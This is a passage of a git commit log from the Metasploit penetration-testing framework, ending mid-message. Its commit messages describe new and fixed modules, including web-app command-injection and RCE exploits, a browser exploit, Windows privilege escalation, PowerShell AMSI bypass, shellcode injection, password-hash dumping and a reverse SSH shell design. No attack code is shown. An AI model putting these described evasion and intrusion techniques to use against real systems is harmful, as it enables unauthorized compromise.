bwatters-r7 fb5c896d40 Streamline Checks and error for channelized comms before injection 2019-12-12 15:19:17 -06:00
Metasploit fa86c67f2b automatic module_metadata_base.json update 2019-12-12 13:21:09 -06:00
Christophe De La Fuente 87373ccc84 Land #12486, Small changes to the host_header_injection aux module 2019-12-12 20:11:37 +01:00
Jeffrey Martin 9d89fc2eba clone options & return login object not core 2019-12-12 12:47:45 -06:00
Shelby Pace 15294550ed add require 2019-12-12 12:24:47 -06:00
Metasploit f83d08ed51 Bump version of framework to 5.0.65 2019-12-12 12:07:33 -06:00
Shelby Pace 1e3158e129 Land #12699, add payload uuid/temp file fixes 2019-12-12 10:49:15 -06:00
Shelby Pace 35075d5c7f add strip and update payload cached sizes 2019-12-12 10:43:04 -06:00
Metasploit 8977d2a213 automatic module_metadata_base.json update 2019-12-12 10:26:58 -06:00
Jeffrey Martin e416f0d886 Land #12363, Adding Chrome Debugger Gather Auxiliary Module 2019-12-12 10:13:51 -06:00
Nicholas Starke db05b11fae Uppercasing Parameters and Dregistering Options
This commit uppercases all default parameters and de-registers
certain options like SSL and VHOST.
2019-12-12 09:57:10 -06:00
Metasploit 13eee43d54 automatic module_metadata_base.json update 2019-12-12 09:26:00 -06:00
Brendan Coles d7f1c9a4a9 Land #12696, Add AKA references to several modules 2019-12-12 15:28:21 +00:00
Brent Cook b3bb0efa62 update payload sizes (apparently this is a compiler version-dependent) 2019-12-12 09:23:25 -06:00
Brent Cook d9a3ef51e5 further path and extension handling improvements 2019-12-12 09:23:05 -06:00
bwatters-r7 7e05642a1b Randomize container name 2019-12-12 07:48:01 -06:00
bwatters-r7 0257861c4f Remove debug statements and extra c/ruby libraries 2019-12-11 18:42:36 -06:00
Kenneth LaCroix efdc838d16 Create enum_devices.md 2019-12-11 16:20:51 -07:00
Kenneth LaCroix e3edff8494 Create dumplinks.md 2019-12-11 16:06:43 -07:00
Kenneth LaCroix c4e304574c Update enum_applications.rb 2019-12-11 14:10:48 -07:00
Kenneth LaCroix 142096d34b Update enum_applications.md 2019-12-11 14:10:10 -07:00
Kenneth LaCroix 910be567be Create dnscache_dump.md 2019-12-11 14:08:55 -07:00
Kenneth LaCroix 038ecb38ad Create cachedump.md 2019-12-11 13:59:53 -07:00
Kenneth LaCroix 0a31e3b909 Update bitlocker_fvek.rb
Fix spelling errors.
2019-12-11 13:39:25 -07:00
Kenneth LaCroix 237c1c68a1 Update bitlocker_fvek.md 2019-12-11 13:37:49 -07:00
Kenneth LaCroix a8d8c71c29 Create bitlocker_fvek.md 2019-12-11 13:36:20 -07:00
Metasploit aa9fbed5e9 automatic module_metadata_base.json update 2019-12-11 14:01:47 -06:00
wvu-r7 f9888dd065 Land #12703, RHOST(S) and RPORT for SSH mixin
Also fixes a typo in exploit/linux/ssh/solarwinds_lem_exec.
2019-12-11 13:53:20 -06:00
William Vu f31930748b Remove RHOST from solarwinds_lem_exec
This doubles as a test.
2019-12-11 13:42:41 -06:00
William Vu ce0f08d064 Register RHOST(S) and RPORT in SSH mixin 2019-12-11 13:41:32 -06:00
Rob Fuller 5eb90d758f Update modules/exploits/linux/ssh/solarwinds_lem_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-12-11 13:44:37 -05:00
Onur ER f94726a794 Added Module Documentation
Added OpenNetAdmin 18.1.1 Exploit Documentation
2019-12-11 21:08:27 +03:00
Onur ER 02a87befc3 Added OpenNetAdmin 18.1.1 exploit
OpenNetAdmin provides a database managed inventory of your IP network. Each subnet, host, and IP can be tracked via a centralized AJAX enabled web interface that can help reduce tracking errors.
This module exploits a command injection in OpenNetAdmin.
2019-12-11 21:05:02 +03:00
Rob Fuller 002b9e5b90 Fix typo and lacking RHOST
Kinda need a RHOST to use a RCE...
2019-12-11 12:17:53 -05:00
Kenneth LaCroix 2e854f2d9a Create arp_scanner.md 2019-12-11 09:52:35 -07:00
Kenneth LaCroix 4fe0064756 Update enum_applications.md 2019-12-11 09:42:33 -07:00
Kenneth LaCroix b6ac86dc23 Update group_policy_startup.rb 2019-12-11 09:41:08 -07:00
Kenneth LaCroix b99d632b7d Update enum_applications.md 2019-12-11 09:30:18 -07:00
Adam Galway affbd70585 Merge branch 'master' into search-check-fix 2019-12-11 13:45:19 +00:00
Nicholas Starke 16910f7e02 Parameter Checks and Success Messaging
This commit adds additional parameter checks for nil and adds
a little more descriptive success message that includes the path
to the loot storage location.
2019-12-11 07:35:55 -06:00
Adam Galway debded62e3 add has_check? to Module & Scanner classes 2019-12-11 13:26:32 +00:00
h00die 8cb58be4c0 style 2019-12-11 06:44:35 -05:00
Metasploit 6d35d363fe automatic module_metadata_base.json update 2019-12-11 00:51:23 -06:00
Brendan Coles f2eb73407a Land #12662, Update post/multi/gather/gpg_creds to support GPG v2.1+ keys 2019-12-11 06:53:57 +00:00
Brendan Coles 1ebfe6c284 Add Reptile Rootkit reptile_cmd Privilege Escalation 2019-12-11 06:48:51 +00:00
John Kollross 9a0c1331ec Update apache_userdir_enum.md 2019-12-10 20:59:54 -06:00
John Kollross 6533cb877f Update apache_userdir_enum.md 2019-12-10 20:58:25 -06:00
John Kollross d314226745 Update apache_userdir_enum documentation 2019-12-10 20:58:14 -06:00
Brent Cook c55105c526 add compiled payload sizes, don't generate on framework boot 2019-12-10 19:06:01 -06:00
Brent Cook 19122f9345 fix regression in #12691
ake sure for non sends-hex case that we use the right variable name for
parsing the raw UUID bytes.
2019-12-10 19:05:01 -06:00
Brent Cook 1c91a737d9 default to deleting temp C and .exe files 2019-12-10 19:04:39 -06:00
Brent Cook e40c64415a Use temporary file paths
Use Tempfile for building intermediate source and exe files with
compiled payloads.
2019-12-10 19:03:38 -06:00
bwatters-r7 942d1e3962 Trim exploit code and de-pasta-fy module
Better check for build number
2019-12-10 18:09:08 -06:00
Kenneth LaCroix 5d09138a55 Create enum_applications.md 2019-12-10 14:27:58 -07:00
Kenneth LaCroix f0ac300338 h00die review
Thanks h00die for the in depth review, as always.
2019-12-10 13:37:13 -07:00
Metasploit ddfeff4a0d automatic module_metadata_base.json update 2019-12-10 12:21:21 -06:00
Shelby Pace a4ed143af6 Land #12364, add vBulletin widgetconfig RCE 2019-12-10 12:12:47 -06:00
Shelby Pace 19169bc9b2 remove executable permissions 2019-12-10 12:10:04 -06:00
Shelby Pace ab6f77ce63 add reference 2019-12-10 11:47:48 -06:00
Shelby Pace dd2a6f77e3 remove unused opts 2019-12-10 11:32:46 -06:00
Jeffrey Martin 662a040154 Revert "Land #12695, Fix incorrect check status for aux modules returned by search"
This reverts commit 7bac2f7618, reversing
changes made to 049986c59a.
2019-12-10 10:24:10 -06:00
Jeffrey Martin 7bac2f7618 Land #12695, Fix incorrect check status for aux modules returned by search 2019-12-10 10:03:27 -06:00
Metasploit 049986c59a automatic module_metadata_base.json update 2019-12-10 09:44:27 -06:00
Adam Galway 2448914b24 Land 12680, fixes small typo in dns_fuzzer.rb 2019-12-10 15:36:05 +00:00
h00die 3b2a54a599 add aka to some modules 2019-12-10 09:53:13 -05:00
h00die bf99dd820a remove 50char title line 2019-12-10 09:32:34 -05:00
Adam Galway 073f956578 avoids Scanner methods when reading for check 2019-12-10 14:21:17 +00:00
Kenneth LaCroix 5e3974992c Create adobe_embedded_pdf.md and adobe_utilprintf.md. Update adobe_geticon.md and adobe_reader_u3d.md. 2019-12-09 21:29:06 -07:00
Metasploit 6df148c2da automatic module_metadata_base.json update 2019-12-09 21:06:19 -06:00
William Vu b88f5adf77 Land #12498, new post/bsd/gather/hashdump module 2019-12-09 20:58:10 -06:00
Metasploit df269c591c automatic module_metadata_base.json update 2019-12-09 20:55:41 -06:00
William Vu bef637bc68 Land #12666, bypassuac_silentcleanup %WINDIR% fix 2019-12-09 20:48:38 -06:00
Metasploit aca3674412 automatic module_metadata_base.json update 2019-12-09 20:21:21 -06:00
William Vu cd9a95fcc8 Land #12577, once more with feeling 2019-12-09 20:10:04 -06:00
William Vu 42c8420f5a Fix style 2019-12-09 20:09:52 -06:00
William Vu 871b295111 Land #12614, post/multi/gather/ssh_creds fixes 2019-12-09 19:59:32 -06:00
Metasploit aa9396daee automatic module_metadata_base.json update 2019-12-09 19:57:27 -06:00
William Vu 7b1d54fc26 Land #12577, redis_unauth_exec fixes 2019-12-09 19:37:53 -06:00
bwatters-r7 8a9dd35793 First draft of windows comahawk priv esc 2019-12-09 19:09:15 -06:00
Metasploit 76f136f70a automatic module_metadata_base.json update 2019-12-09 13:11:24 -06:00
Brent Cook 0589b60033 Land #12647, add back executable check to msftidy 2019-12-09 13:04:30 -06:00
Brent Cook 8bc66b3510 Land #12679, remove never-used file_local_digest* methods 2019-12-09 12:51:17 -06:00
Brent Cook f0be57e1ed Land #12673, fix error in rpc_creds method 2019-12-09 12:48:50 -06:00
Metasploit 7420dd5e39 automatic module_metadata_base.json update 2019-12-09 09:01:48 -06:00
Brent Cook a30272e262 Land #12686, raise BadCharError instead of EncodingError with xor_dynamic encoder 2019-12-09 08:47:40 -06:00
Brent Cook 65054705d7 Land #12689, add iis_internal_ip references 2019-12-09 08:46:05 -06:00
Brent Cook 8b4ce3f6f7 Land #12561, First round of memory performance enhancements 2019-12-09 08:42:39 -06:00
FenixH 24431f0fae Merge remote-tracking branch 'upstream/master' 2019-12-09 11:21:52 +01:00
Metasploit 644339fafc automatic module_metadata_base.json update 2019-12-09 04:18:54 -06:00
FenixH 056dd6baec rpc_creds fix 2019-12-09 11:14:06 +01:00
Tim W 3200781292 Land #12446, add powershell AMSI bypass to web_delivery 2019-12-09 18:03:54 +08:00
h00die ca9a1709bf iis internal ip references 2019-12-08 16:15:48 -05:00
h00die 6fbab50b9d iis internal ip references 2019-12-08 16:11:57 -05:00
Francesco Soncina 6b2bb24ba1 use BadcharError instead of EncodingError
fixes #12685
2019-12-08 02:39:57 +01:00
Brendan Coles 8f19c8a82a Prefer English over French spelling 2019-12-07 08:01:52 +00:00
Brendan Coles 121a9a52ac Remove Post API crypto methods for local files 2019-12-07 05:12:51 +00:00
Kenneth LaCroix 3e049a279e create adobe_geticon.md and update adobe_reader_u3d.md 2019-12-06 21:56:48 -07:00
Pearce Barry 0d99e78047 Land #12663, reporting creds can have linked task 2019-12-06 14:26:17 -06:00
Brent Cook dcf2a2de24 Land #12672, pass string value to OptString#valid? 2019-12-06 14:18:56 -06:00
Brent Cook a7e57f740e Land #12675, update kiwi to mimikatz 2.2.0 20191125 2019-12-06 14:05:34 -06:00
Brent Cook 68101136de bump embedded version 2019-12-06 13:26:55 -06:00
Pearce Barry 74d87fcc76 Support JtR versions installed from packages
John the Ripper installed from native packages, like ubuntu's 'john' package, might output the version in a slightly different format than when you build from source.  This patch adds an addtional attempt to pull the version number from JtR's like these...
2019-12-06 13:26:04 -06:00
Brent Cook 6c669702e5 Land #12676, update cops to match new names 2019-12-06 12:34:23 -06:00
Jeffrey Martin 21060033b6 check before trying to access self as array 2019-12-06 12:03:43 -06:00
Adam Galway 9cf9f83d63 update cops to match new names 2019-12-06 17:36:10 +00:00
Brent Cook 7f30662067 update Kiwi extension with latest Mimikatz 2019-12-06 11:34:18 -06:00
Nicholas Starke 5d65741bb5 Changing Global Variables to Instance Variables 2019-12-06 10:35:43 -06:00
FenixH 31e7fb3daa web delivery fix 2019-12-06 12:45:23 +01:00
Christophe De La Fuente c47e0de9c0 Fix OptString#valid? 2019-12-06 12:34:17 +01:00
FenixH 65f8fa003c rpc fixes 2019-12-06 12:29:53 +01:00
FenixH 303009ce67 Merge remote-tracking branch 'upstream/master' 2019-12-06 11:09:52 +01:00
Kenneth LaCroix d4ef06dfcc Create adobe_reader_u3d.md 2019-12-06 01:19:12 -07:00
Brent Cook 156f192459 Land #12668, various Meterpreter fixes 2019-12-05 17:46:39 -06:00
Brent Cook 918674c16b bump meterpreter, various and sundry fixes 2019-12-05 17:24:29 -06:00
Nicholas Starke 6d523da790 Fixing require statements and scope
Made the 'succeeded' variable global in scope and added two
'require' statements that seemed to be necessary for the module
to work properly.
2019-12-05 14:43:46 -06:00
Nicholas Starke 335aef59da Adding failing condition
This commit adds a failure code if the module does not
successfully receive a response from the remote chrome process.
2019-12-05 14:17:30 -06:00
h00die fdce27c675 Land #12632, lots more module docs 2019-12-05 15:00:45 -05:00
h00die ce7a33abf5 example module review 2019-12-05 14:47:29 -05:00
Metasploit e1cb804764 Bump version of framework to 5.0.64 2019-12-05 12:09:50 -06:00
Clément Notin 2931863a4e bypassuac_silentcleanup: cleanup %WINDIR% env var before calling powershell payload
Fixes #12665
2019-12-05 15:08:50 +01:00
Henry Hoggard 2ed613ffa3 Fix file search 2019-12-05 08:46:56 +00:00
Kenneth LaCroix ea670d02fe Update group_policy_startup.md
Add module authors blog post .
2019-12-04 20:38:57 -07:00
Kenneth LaCroix a6db0202f4 Create group_policy_startup.md 2019-12-04 20:31:59 -07:00
William Vu 98c586b76e Fix style 2019-12-04 19:32:14 -06:00
Jeffrey Martin 79f2c9a048 reporting creds can have linked task 2019-12-04 17:55:23 -06:00
Francesco Soncina e11f64f8c8 Inject shellcode changes (#3)
Inject shellcode changes
2019-12-05 00:21:06 +01:00
Henry Hoggard 37fb5be381 Remove whitespace 2019-12-04 22:29:57 +00:00
Henry Hoggard 12218b0fde Add GPG 2.1+ keys, Stop storing empty files 2019-12-04 21:54:16 +00:00
Shelby Pace 3ddef6091c update scenarios section 2019-12-04 12:19:58 -06:00
Shelby Pace 35282b3e35 use printf command stager 2019-12-04 12:17:35 -06:00
bwatters-r7 cc25a30d1a Move dpendency to mixin and adjust print statements 2019-12-04 09:00:03 -06:00
Kenneth LaCroix 196029b959 Update ms04_007_killbill.md 2019-12-04 01:41:07 -07:00
Kenneth LaCroix 31abd7d676 Update ms15_100_mcl_exe.md 2019-12-04 01:13:18 -07:00
bwatters-r7 0864a4840e Fix requirements in payload inject 2019-12-03 15:58:37 -06:00
Shelby Pace 713099c997 improve version check 2019-12-03 14:56:44 -06:00
bwatters-r7 2a14332f20 First try at adding error handling and offloading methods to the
Post::Windows::Process mixin for resusability and deduplication
2019-12-03 14:11:50 -06:00
Shelby Pace 5f149bc51c Update modules/exploits/multi/http/openmrs_deserialization.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-12-03 13:19:15 -06:00
Shelby Pace d8747c3a02 Update modules/exploits/multi/http/openmrs_deserialization.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-12-03 13:19:04 -06:00
Shelby Pace 9655c33a66 add bcoles' format_payload implementation 2019-12-03 12:24:33 -06:00
Shelby Pace c7125b1b5f remove options section 2019-12-03 12:06:44 -06:00
William Vu 263c7bf235 Use CheckModule in pulse_secure_cmd_exec 2019-12-03 10:39:58 -06:00
William Vu 347c63377d Print a warning for lack of CheckCode 2019-12-03 10:36:34 -06:00
William Vu 0b99b78c91 Don't validate exploit options needlessly 2019-12-03 10:36:34 -06:00
William Vu 9adc87c786 Check for nil 2019-12-03 10:36:34 -06:00
William Vu 1c87c21d8e Validate exploit options, too 2019-12-03 10:36:34 -06:00
William Vu 91c6c74173 Add only targeting options and validate datastore 2019-12-03 10:36:34 -06:00
William Vu f56b262eec Update modules 2019-12-03 10:36:34 -06:00
William Vu 1952697404 Refactor CheckScanner to CheckModule 2019-12-03 10:36:34 -06:00
Kenneth LaCroix 5ab266e049 Update ms06_040_netapi.md 2019-12-02 22:29:45 -07:00
Kenneth LaCroix e732291be9 h00die 2019-12-02 22:28:16 -07:00
Kenneth LaCroix c66f3c4388 Update ms06_040_netapi.md 2019-12-02 20:51:45 -07:00
Kenneth LaCroix 7dfe86034c update ms04_007_killbill.md and update ms06_040_netapi.md 2019-12-02 19:08:14 -07:00
Kenneth LaCroix 3881743847 Create ms06_040_netapi.md 2019-12-02 19:03:15 -07:00
Shelby Pace f3922d73d8 use encode, replace double quotes 2019-12-02 15:25:52 -06:00
Brent Cook 010cfe2d65 =~ / match? 2019-12-02 09:03:58 -06:00
Brent Cook 92cec6116b we don't need ruby-backports anymore (or maybe we can use it more conditionally on Ruby 2.6), it uses a lot of memory 2019-12-02 09:03:58 -06:00
Brent Cook 945f26e898 prefer delete_prefix over creating 2 new strings 2019-12-02 09:03:58 -06:00
Brent Cook 0f6cab0f7b prefer starts_with? and ends_with? over creating new strings 2019-12-02 09:03:58 -06:00
Brent Cook ca5bc94ccf kill never unused 'from' argument in library logs
This avoids computing a stack trace on every single log message
that is never used in any of the logging sinks. This is one of the
number one profiled memory allocation/deallocation events in Metasploit
as shown with memory_profiler.
2019-12-02 09:03:58 -06:00
Brent Cook 069a3e3c4e use casecmp rather than allocate a string on every comparison 2019-12-02 09:03:58 -06:00
Shelby Pace 4c95150491 add xml erb file 2019-12-02 08:44:37 -06:00
Shelby Pace 6f153a885a add tested version 2019-12-02 08:42:45 -06:00
Brendan Coles ddf9cf71ab Add check_executable check to msftidy 2019-11-30 07:25:27 +00:00
h00die da506c9684 dont load examples and syntax fixes 2019-11-29 09:11:44 -05:00
h00die bad8e24e48 additional example exploits 2019-11-29 06:54:34 -05:00
Christophe De La Fuente 857677f39d Update log message 2019-11-29 11:35:14 +01:00
Kenneth LaCroix 7473a79cb3 Create ms04_007_killbill.md 2019-11-28 11:33:42 -07:00
Christophe De La Fuente 6a7c2835ec Update specs... again 2019-11-28 16:05:51 +01:00
Christophe De La Fuente 127e1d451f Update specs 2019-11-28 14:58:25 +01:00
Christophe De La Fuente 39ab534773 Improve Wordpress version check
- Add log message to Detected and Unknown check codes
- Add an exception handler to catch Gem::Version parsing errors
2019-11-28 12:56:08 +01:00
Kenneth LaCroix 5e2c0604ab Create ms15_100_mcl_exe.md and Create ms10_092_schelevator.md 2019-11-27 18:12:57 -07:00
Kenneth LaCroix 6a28e818d7 Create recorder.md 2019-11-27 02:36:42 -07:00
RAMELLA Sébastien eb2817b51f fix. typo into the documentation. 2019-11-22 20:10:29 +04:00
Christophe De La Fuente cd22c1bea4 Minor fixes for OPTIONS
- Remove TIMEOUT option since it is already present in the advanced
options (HttpClientTimeout)
- Add DATA option to set the POST data
2019-11-22 15:09:08 +01:00
RAMELLA Sébastien 6e93df1224 fix. DisablePayloadHandler to false in target 0 and add unknown author. 2019-11-22 17:56:50 +04:00
John Kollross 97b6b858e8 Update apache_userdir_enum.md 2019-11-22 07:01:42 -06:00
John Kollross 566807b20a Create apache_userdir_enum.md 2019-11-22 07:01:05 -06:00
Shelby Pace 407adca9ec add docs 2019-11-21 14:15:57 -06:00
Shelby Pace e6e1156185 add reference, description, etc. 2019-11-21 14:15:25 -06:00
MangyCoyote a7e7b9dbf2 post/multi/gather/ssh_creds should verify it has access to a file before reading it 2019-11-21 10:48:42 +01:00
Shelby Pace a4657da33a code execution with Java 8 2019-11-20 15:29:33 -06:00
Tim W f3cf898c84 bump rex-powershell to 0.1.83 2019-11-19 22:27:11 +08:00
Tim W b63fd963aa default AMSI bypass off except for web_delivery 2019-11-19 22:26:40 +08:00
Tim W 46d759eca9 add support for Chrome 68.0.3440.84 2019-11-15 17:42:16 +08:00
Tim W 4ef54518ed add support for OSX and 69.0.3497.100 2019-11-15 16:12:49 +08:00
Green-m 22412d4570 Fix bind error bug, and enhance check method. 2019-11-15 09:52:58 +08:00
Tim W 04dd5162cf Add CVE-2019-5825, Chrome 73 1-day Array.map --no-sandbox exploit 2019-11-13 22:26:44 +08:00
lle-bout 6766d9f6f7 Fix exploit/windows/local/ms16_032_secondary_logon_handle_privesc
- Powershell script was outdated.
   Updated from https://www.exploit-db.com/exploits/39719

 - Powershell script was buggy when current directory
   was set to e.g. C:\ProgramData. (Get-Item Error)
   Fixed.

 - Stager was being dropped to current directory, but
   it is not guaranteed that we always have permission
   to write a file there. Use %TEMP% instead.

 - Exploit only seems to work when executed under
   a powershell of the same architecture as the
   host. (Not WOW64)
   This module now ensures that no matter the
   architecture of the meterpreter, a powershell
   of the same architecture as the host is being
   run. (Using Sysnative directory when on WOW64)

 - Stager was broken, now generating stager with Rex
   and dropping stager as `.ps1` instead of `.txt`.

   Ideally the exploit should be rewritten to
   accept a shellcode payload directly or a smaller
   stager powershell should be created so that it
   fits in under 1024 bytes and can be fed directly
   to CreateProcessWithLogonW without dropping to
   disk.
2019-11-13 05:01:47 +01:00
Cristina Muñoz e804745766 Bugfix: correct reference to asm file 2019-11-12 09:30:27 -08:00
Nicholas Starke 986b1dfbd5 Addressing comments on pull request
I have updated this module as per the comments left on the pull request.
This includes adding a timeout configuration option and adding a check
for the webSocketDebuggerUrl key
2019-11-10 15:43:01 -06:00
John Kollross 12fb919fee Merge pull request #1 from rapid7/master
update
2019-11-08 10:36:45 -06:00
Francesco Soncina 2549de809d fix bug in PID check 2019-11-07 12:57:05 +01:00
Shelby Pace a337567101 add check method 2019-11-06 12:40:45 -06:00
Francesco Soncina 9a93ce8b79 Merge pull request #2 from timwr/fix_webdelivery
remove unnecessary override
2019-11-06 09:46:36 +01:00
Tim W 55ebfe6c2d remove unnecessary override 2019-11-06 15:27:40 +08:00
Shelby Pace f898c73e49 add module skeleton 2019-11-05 11:27:35 -06:00
Francesco Soncina a449941615 use PSH-EncodedCommand for EncodedCommand in launcher
Since `Powershell::encode_final_payload` and `Powershell::encode_inner_payload` are already used in `cmd_psh_payload`, so it's better to have a dedicated option for the encoded launcher.
2019-11-05 13:12:00 +01:00
Francesco Soncina 12c92342ef Use DefaultOptions instead of redefining them 2019-11-05 12:54:29 +01:00
Francesco Soncina bbe36ebfee remove debug prints 2019-11-05 00:25:55 +01:00
Francesco Soncina 53ee43bccb Update web_delivery.rb 2019-11-05 00:24:47 +01:00
Francesco Soncina 927264e3e5 Update powershell.rb 2019-11-05 00:23:43 +01:00
Cristina Muñoz 9dfd325f42 Merge branch 'python3' of github.com:xmunoz/metasploit-framework into python3 2019-11-01 19:24:56 -07:00
Cristina Muñoz 311b03af93 Action remainder of code review changes.
- Revert files that will only run as python2.
- Remove superfluous calls to list()
- Other minor cleanup
2019-11-01 19:24:22 -07:00
Cristina c9948c037d Apply suggestions from code review
- Change executable in shebang from python3 to python
- Revert changes to files that will only run as python2

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-11-01 19:20:22 -07:00
bcoles 705b206c92 bsd 2019-11-02 08:54:04 +11:00
Francesco Soncina 099054ded2 Update powershell.rb 2019-11-01 15:19:36 +01:00
Cristina Muñoz 10b5df1c4f Change all python2.7 shebangs to python3.
Remove utf-8 encoding declarations, as this is the default for python3.
2019-10-31 15:10:58 -07:00
Cristina Muñoz 8563a29003 Convert all python code to python3. Fixes #12506. 2019-10-31 14:16:14 -07:00
Francesco Soncina d17f041dbd fix inner payload for web_delivery 2019-10-31 16:29:56 +01:00
Francesco Soncina 9fc2df5ea8 move force_tls12 to rex-powershell 2019-10-31 16:28:59 +01:00
Brendan Coles 35fdd45770 Add BSD Dump Password Hashes documentation 2019-10-27 06:52:28 +00:00
Brendan Coles a27af6b631 Add BSD Dump Password Hashes module 2019-10-27 06:46:31 +00:00
FenixH 72abac0683 Fix call to method in null object in rpc_creds method 2019-10-24 11:19:09 +02:00
Matteo Cantoni 77840a8830 Small changes to the host_header_injection aux module 2019-10-23 16:29:04 +02:00
RAMELLA Sébastien 861dc9969f fix. typo in documentation file. 2019-10-18 16:07:55 +04:00
RAMELLA Sébastien 25f60b07ed compliance for the framework 2019-10-18 15:51:58 +04:00
Francesco Soncina e992480b5c Update shellcode_inject.rb 2019-10-17 16:02:59 +02:00
Tim W a5a3e28984 Initial commit of CVE-2019-2215 Android Binder Use-After-Free 2019-10-17 18:48:49 +08:00
Green-m b85b799d4f Update CachedSize of payload. 2019-10-13 19:09:07 +08:00
Green-m 0a9ca5554a Print command when start handler, more friendly. 2019-10-13 17:04:00 +08:00
Green-m 43609965e5 Fix cert verify bug of reverse SSL payload. 2019-10-13 17:01:06 +08:00
Francesco Soncina b1b59fca35 add support for Powershell::prepend_protections_bypass 2019-10-13 03:27:21 +02:00
Francesco Soncina 1878ff8017 move AMSI/SBL bypass in inner payload, force TLSv1.2 support
see https://github.com/rapid7/rex-powershell/pull/19
2019-10-13 02:33:49 +02:00
Francesco Soncina 16a85f2cfa Add support for AMSI/SBL bypass to PSH web_delivery
Related to https://github.com/rapid7/rex-powershell/pull/17
2019-10-12 16:55:08 +02:00
Francesco Soncina 74ae445128 Add AUTOUNHOOK support for shellcode_inject post module
The module will now first inject the unhook dll and then the provided shellcode.
2019-10-10 16:35:57 +02:00
p0 8576a7876a changed disclosure date to ISO 8601 format 2019-10-09 21:53:47 +02:00
Jose Garduno d65775e5bf added metasploit http DoS module 2019-10-09 16:54:43 +02:00
Daniel Hildebrand b941a1a823 New method for rpc client - Delete credentials from a specific workspace. 2019-10-07 14:02:53 +02:00
b4rtik bc4f706b0d Execute Assembly 2019-10-05 12:47:03 +02:00
Francesco Soncina dd9fb2d9d6 Add shellcode_inject post module
This module injects an arbitrary shellcode into a target process.
2019-10-03 16:47:10 +02:00
RAMELLA Sébastien 28bbcd5402 fix. linux stager and add. documentation 2019-09-26 16:26:44 +04:00
RAMELLA Sébastien dfd97a7518 add. stager and fix. generic command 2019-09-26 12:40:03 +04:00
Nicholas Starke 73569fef38 Removing Invalid CVE Identifier
CVE Identifier was invalid, I removed that and made a
few other minor formatting / procedural changes, including
doing the check for the options before sending any network traffic.
2019-09-25 16:52:50 -05:00
Nicholas Starke 90cd20b381 Minor Formatting Changes
I forgot to run msftidy before pushing.  This commit
address two formatting issues and adds a place holder for
CVE, even though I don't think this is a CVE candidate.
2019-09-25 16:21:27 -05:00
RAMELLA Sébastien 82457a4049 add. exploit module vbulletin 5.x unauth RCE 2019-09-26 01:11:22 +04:00
Nicholas Starke f77497883b Adding Chrome Debugger Gather Auxiliary Module
This module can retrieve a file from a remote host that is
running a chrome session in headless mode on all network interfaces.
It can also make a web request from the remote host and send back the
full contents.
2019-09-25 15:58:34 -05:00
RageLtMan 21dd5f438d Address some of @bcoles comments 2019-09-15 01:14:04 -04:00
RageLtMan e091c8f248 Add port KWA to shell version of ruby ssh payload 2019-09-03 17:41:27 -04:00
bwatters-r7 8833bddd91 Fix options in ssh command 2019-08-15 07:13:59 -05:00
RageLtMan f874f50748 Update Author fields for several modules
Add hirura to authors list for the Ruby reverse_ssh payloads.

Update all modules with author-per-line name references to be
consistent (useful given the difference in names between commiter
in git log and GitHub account).

Next steps:
  See if HrrRbSsh client-side implementation can be fleshed out
enough to create alternative payload outputs for both of the Ruby
modules (using TARGET/ACTION to select between net/ or hrr_).
2019-06-25 20:49:26 -04:00
RageLtMan d00d5fbff9 Address review comments by Hirura
@hirura noticed two bugs: a typo, and a mistake creating an empty
RequestHandler object since the underlying library already does
this when it does not have a RequestHandler assigned for the
request type.

Fix typo for #1
Remove the RequestHandler assignments in #2 and related opt merge.

Testing:
  None yet
2019-06-25 18:27:57 -04:00
RageLtMan 3870dad3d1 Fix handler type copy pasta 2019-06-24 13:55:53 -04:00
RageLtMan 510b2f5aac Trim reverse ssh cmd payload 2019-06-23 21:27:48 -04:00
RageLtMan d1eaac9932 Implement native reverse SSH via openssh binary
Implement a reverse SSH shell using nothing but the on-target SSH
client and a fifo in the same manner as used by netcat payloads.
This is not forensically sound as the fifo will be caught by HIDS,
filesystem snapshots, and other defensive measures. However, it
does provide a way out from almost any modern POSIX system as they
nearly all have an SSH client in one form or another.

Convert existing Ruby reverse SSH payloads to use dynamic cached
payload sizing.
2019-06-23 05:48:50 -04:00
RageLtMan c339662fed SshCommandSession and Ruby Payloads
Implement a command-only session type over the HrrRbSsh client
Connection Channels' file descriptors, adjust from base command
session to deal with the separate reader/writer IOs. Technically,
a TTY session works out of the box here as well.

Implement a pair of showcase Ruby payloads using net/ssh to call
back to the handler, create a shell channel, and loop piping I/O
between framework session and client via the Ruby backtick exec.

Next Steps:
  Command payloads need to be written for every major interpreted
language as well as some sort of bashism a la openssl_double if
it comes to that, but preferably single socket implementation.

Testing:
  Very minimal, needs a good run through by the community and R7
2019-06-23 05:20:04 -04:00
RageLtMan dd5814654c update hrr_rb_ssh version 2019-06-22 20:09:26 -04:00
RageLtMan f0b24339fe Implement Rex::Proto::Ssh::Server scaffold
Create the Rex::Proto::Ssh namespace and implement hrr_rb_ssh
objects in the Rex namespace with Rex' sockets stack, permissive
default connection options to accept any authentication, ACLs for
port forwarding, and a modified Connection #initialize method for
simplified instantiation.

The actual Rex::Proto::Ssh::Server object follow standard Rex
semantics for services to permit use in handlers, exploits, and
auxiliary modules in the same manner as the Http::Server is used
today.

This work is far from complete - the HrrRbSsh low-level objects
should be decomposed into Rex' pattern as they currently depend
heavily on their own Procs and Threads internally which use the
parent Connection object's attributes to look up which Proc should
be called in response to a Channel or Authentication request. This
is a bit difficult to do piecemeal given the intertwined data and
execution dependency inside of HrrRbSsh.

Next steps:
1. Create handler and reverse_ssh command session payloads
1a. POSIX systems generally have SSH already
1b. Windows Powershell is likely able to hotload SSH libs as a
pre-stager.
1c. Other interpreted runtimes usually have client-ssh libraries
2. Implement options parsing, handling, etc for user-customizable
functionality from the Msf namespace.
3. Use libssh2 to permit mettle use of the SSH transport.
3a. Bother @OJ about doing the same for Windows Meterpreter.
3b. Bother @zeroSteiner to implement SSH transport for PyMeterp.
3c. Ask @timwr and @mihi how viable this is for Android/Java.
3d. See if @OJ will do this for CLR-meterp on a livestream.
4. Write a post module which runs this SSH server from a mettle
session using the compromised hosts's own host keys and passwd
file for "valid" authentication while logging and MITMing the
entire command stream remotely - help folks shake off some of the
complacency around "secure shells."
5. Write a plugin which will permit sharing of the entire console
context, specific acquired sessions, or TCP forwards with the
pugin's SSH clients based on the credentials used to connect.
6. Further decompose the server code into Rex to permit writing
client fuzzers, loggers, and other tooling to test the posture of
SSH client implementations.
7. Work to implement SSH client functionality in HrrRbSsh and
